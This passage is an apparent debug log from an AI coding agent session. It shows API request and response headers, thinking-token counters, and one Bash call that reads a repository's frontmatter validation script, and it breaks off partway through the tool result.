[INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:05.232Z] [INFO]   }\n[2026-09-29T07:47:05.232Z] [INFO] }\n[2026-09-29T07:47:05.293Z] [STDOUT] [log_3cc11f] sending request {\n[2026-09-29T07:47:05.297Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:05.301Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:05.306Z] [STDOUT]   options: {\n[2026-09-29T07:47:05.309Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:05.312Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:05.317Z] [STDOUT]     body: {\n[2026-09-29T07:47:05.321Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:05.325Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:05.329Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:05.335Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:05.340Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:05.343Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:05.347Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:05.352Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:05.358Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:05.366Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:05.371Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:05.377Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:05.382Z] [STDOUT]     },\n[2026-09-29T07:47:05.387Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:05.390Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:05.401Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:05.406Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:05.409Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:05.413Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:05.420Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:05.423Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:05.429Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:05.433Z] [STDOUT]     },\n[2026-09-29T07:47:05.438Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:05.441Z] [STDOUT]   },\n[2026-09-29T07:47:05.447Z] [STDOUT]   headers: {\n[2026-09-29T07:47:05.450Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:05.457Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:05.464Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:05.470Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:05.479Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:05.487Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:05.495Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:05.500Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:05.503Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:05.506Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2001\",\n[2026-09-29T07:47:05.509Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:05.513Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:05.515Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:05.525Z] [STDOUT]     \"x-client-request-id\": \"7e71cdc4-76cc-4b35-89ca-e66f8f24f63a\",\n[2026-09-29T07:47:05.528Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:05.530Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:05.533Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:05.535Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:05.539Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:05.548Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:05.553Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:05.560Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:05.566Z] [STDOUT]   },\n[2026-09-29T07:47:05.568Z] [STDOUT] }\n[2026-09-29T07:47:06.088Z] [STDOUT] [log_3cc11f, request-id: \"req_011CfXMtAiPU9zQsoKcH4RBV\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 796ms\n[2026-09-29T07:47:06.099Z] [STDOUT] [log_3cc11f] response start {\n[2026-09-29T07:47:06.103Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:06.110Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:06.113Z] [STDOUT]   headers: {\n[2026-09-29T07:47:06.116Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:06.122Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:06.131Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:06.135Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:06.147Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:06.154Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.159Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:06.161Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:06.165Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:06.171Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:06.176Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:06.181Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:06.187Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:06.191Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.194Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:06.196Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:06.199Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:06.202Z] [STDOUT]     \"cf-ray\": \"a42960b61fc0dbb5-FRA\",\n[2026-09-29T07:47:06.206Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:06.212Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:06.217Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:06.220Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:06.223Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:06 GMT\",\n[2026-09-29T07:47:06.226Z] [STDOUT]     \"request-id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\",\n[2026-09-29T07:47:06.228Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:06.231Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:06.235Z] [STDOUT]     traceresponse: \"00-153645f1b0fac6817ecb364f10c96ffb-03b996eda538f56d-01\",\n[2026-09-29T07:47:06.238Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:06.242Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:06.248Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:06.271Z] [STDOUT]   },\n[2026-09-29T07:47:06.278Z] [STDOUT]   durationMs: 796,\n[2026-09-29T07:47:06.282Z] [STDOUT] }\n[2026-09-29T07:47:06.284Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:06.289Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:06 GMT\",\n[2026-09-29T07:47:06.293Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:06.298Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:06.301Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:06.304Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:06.310Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:06.315Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:06.319Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:06.327Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:06.331Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:06.335Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:06.342Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:06.347Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:06.351Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:06.356Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:06.360Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:06.363Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.369Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:06.374Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:06.376Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:06.378Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:06.385Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.389Z] [STDOUT]   \"request-id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\",\n[2026-09-29T07:47:06.395Z] [STDOUT]   \"traceresponse\": \"00-153645f1b0fac6817ecb364f10c96ffb-03b996eda538f56d-01\",\n[2026-09-29T07:47:06.400Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:06.403Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:06.408Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:06.415Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:06.419Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:06.424Z] [STDOUT]   \"cf-ray\": \"a42960b61fc0dbb5-FRA\",\n[2026-09-29T07:47:06.430Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:06.432Z] [STDOUT] [log_3cc11f] response parsed {\n[2026-09-29T07:47:06.441Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:06.445Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:06.450Z] [STDOUT]   body: X {\n[2026-09-29T07:47:06.456Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:06.470Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:06.473Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:06.477Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:06.483Z] [STDOUT]     },\n[2026-09-29T07:47:06.487Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:06.492Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:06.497Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:06.505Z] [STDOUT]   },\n[2026-09-29T07:47:06.507Z] [STDOUT]   durationMs: 797,\n[2026-09-29T07:47:06.510Z] [STDOUT] }\n[2026-09-29T07:47:06.634Z] [INFO] {\n[2026-09-29T07:47:06.634Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:06.634Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:06.634Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:06.634Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:06.634Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:06.634Z] [INFO]   \"uuid\": \"aaeb91f3-f280-470a-8f6e-6a7da56890f8\"\n[2026-09-29T07:47:06.634Z] [INFO] }\n[2026-09-29T07:47:08.181Z] [INFO] {\n[2026-09-29T07:47:08.181Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:08.181Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:08.181Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:47:08.181Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:08.181Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:08.181Z] [INFO]   \"uuid\": \"73f2e389-f688-47e3-b22a-a6f2b94eb324\"\n[2026-09-29T07:47:08.181Z] [INFO] }\n[2026-09-29T07:47:09.549Z] [INFO] {\n[2026-09-29T07:47:09.549Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:09.549Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:09.549Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:47:09.549Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:09.549Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:09.549Z] [INFO]   \"uuid\": \"3a90bd2d-af71-4ffe-ac6e-bf50a0ba34a8\"\n[2026-09-29T07:47:09.549Z] [INFO] }\n[2026-09-29T07:47:09.868Z] [INFO] {\n[2026-09-29T07:47:09.868Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:09.868Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:09.868Z] [INFO]   \"estimated_tokens\": 405,\n[2026-09-29T07:47:09.868Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:09.868Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:09.868Z] [INFO]   \"uuid\": \"4cf07478-769f-493c-9ae3-c297a3c40bdd\"\n[2026-09-29T07:47:09.868Z] [INFO] }\n[2026-09-29T07:47:09.889Z] [INFO] {\n[2026-09-29T07:47:09.889Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"message\": {\n[2026-09-29T07:47:09.889Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"id\": \"msg_011CfXMtBG8jvivxVLUSig2H\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:09.889Z] [INFO]     \"content\": [\n[2026-09-29T07:47:09.889Z] [INFO]       {\n[2026-09-29T07:47:09.889Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:09.889Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:09.889Z] [INFO]         \"signature\": \"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\"\n[2026-09-29T07:47:09.889Z] [INFO]       }\n[2026-09-29T07:47:09.889Z] [INFO]     ],\n[2026-09-29T07:47:09.889Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:09.889Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:09.889Z] [INFO]       \"cache_creation_input_tokens\": 1802,\n[2026-09-29T07:47:09.889Z] [INFO]       \"cache_read_input_tokens\": 47331,\n[2026-09-29T07:47:09.889Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:09.889Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:09.889Z] [INFO]         \"ephemeral_1h_input_tokens\": 1802\n[2026-09-29T07:47:09.889Z] [INFO]       },\n[2026-09-29T07:47:09.889Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:09.889Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:09.889Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:09.889Z] [INFO]     },\n[2026-09-29T07:47:09.889Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:09.889Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:09.889Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:09.889Z] [INFO]   },\n[2026-09-29T07:47:09.889Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:09.889Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"uuid\": \"39754097-705d-4222-bd79-ab7743f4130d\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:09.866Z\",\n[2026-09-29T07:47:09.889Z] [INFO]   \"request_id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\"\n[2026-09-29T07:47:09.889Z] [INFO] }\n[2026-09-29T07:47:10.843Z] [INFO] {\n[2026-09-29T07:47:10.843Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"message\": {\n[2026-09-29T07:47:10.843Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"id\": \"msg_011CfXMtBG8jvivxVLUSig2H\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:10.843Z] [INFO]     \"content\": [\n[2026-09-29T07:47:10.843Z] [INFO]       {\n[2026-09-29T07:47:10.843Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:10.843Z] [INFO]         \"id\": \"toolu_014iHFre1avdDWtpUg5H48ST\",\n[2026-09-29T07:47:10.843Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:10.843Z] [INFO]         \"input\": {\n[2026-09-29T07:47:10.843Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 222,330p tools/validate-frontmatter.sh | grep -n \\\"type\\\\|scope\\\" ; sed -n 60,100p tools/validate-frontmatter.sh\",\n[2026-09-29T07:47:10.843Z] [INFO]           \"description\": \"Check type field validation and class mapping\"\n[2026-09-29T07:47:10.843Z] [INFO]         },\n[2026-09-29T07:47:10.843Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:10.843Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:10.843Z] [INFO]         }\n[2026-09-29T07:47:10.843Z] [INFO]       }\n[2026-09-29T07:47:10.843Z] [INFO]     ],\n[2026-09-29T07:47:10.843Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:10.843Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:10.843Z] [INFO]       \"cache_creation_input_tokens\": 1802,\n[2026-09-29T07:47:10.843Z] [INFO]       \"cache_read_input_tokens\": 47331,\n[2026-09-29T07:47:10.843Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:10.843Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:10.843Z] [INFO]         \"ephemeral_1h_input_tokens\": 1802\n[2026-09-29T07:47:10.843Z] [INFO]       },\n[2026-09-29T07:47:10.843Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:10.843Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:10.843Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:10.843Z] [INFO]     },\n[2026-09-29T07:47:10.843Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:10.843Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:10.843Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:10.843Z] [INFO]   },\n[2026-09-29T07:47:10.843Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:10.843Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"uuid\": \"59ac587f-1581-4e9e-97d8-7566e09ef8b1\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:10.834Z\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"request_id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\",\n[2026-09-29T07:47:10.843Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:10.843Z] [INFO]     \"toolu_014iHFre1avdDWtpUg5H48ST\": {\n[2026-09-29T07:47:10.843Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 222,330p tools/validate-frontmatter.sh | grep -n \\\"type\\\\|scope\\\" ; sed -n 60,100p tools/validate-frontmatter.sh\",\n[2026-09-29T07:47:10.843Z] [INFO]       \"description\": \"Check type field validation and class mapping\"\n[2026-09-29T07:47:10.843Z] [INFO]     }\n[2026-09-29T07:47:10.843Z] [INFO]   }\n[2026-09-29T07:47:10.843Z] [INFO] }\n[2026-09-29T07:47:12.321Z] [INFO] {\n[2026-09-29T07:47:12.321Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"message\": {\n[2026-09-29T07:47:12.321Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:12.321Z] [INFO]     \"content\": [\n[2026-09-29T07:47:12.321Z] [INFO]       {\n[2026-09-29T07:47:12.321Z] [INFO]         \"tool_use_id\": \"toolu_014iHFre1avdDWtpUg5H48ST\",\n[2026-09-29T07:47:12.321Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:12.321Z] [INFO]         \"content\": \"98:    decision-type)\\n103:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n107:    rfc-scope)\\n  esac\\n}\\n\\nnormalize_path() {\\n  local path=\\\"$1\\\"\\n\\n  path=\\\"${path#\\\"$ROOT_DIR\\\"/}\\\"\\n  path=\\\"${path#./}\\\"\\n\\n  printf '%s' \\\"$path\\\"\\n}\\n\\ndocument_class() {\\n  local path\\n  path=\\\"$(normalize_path 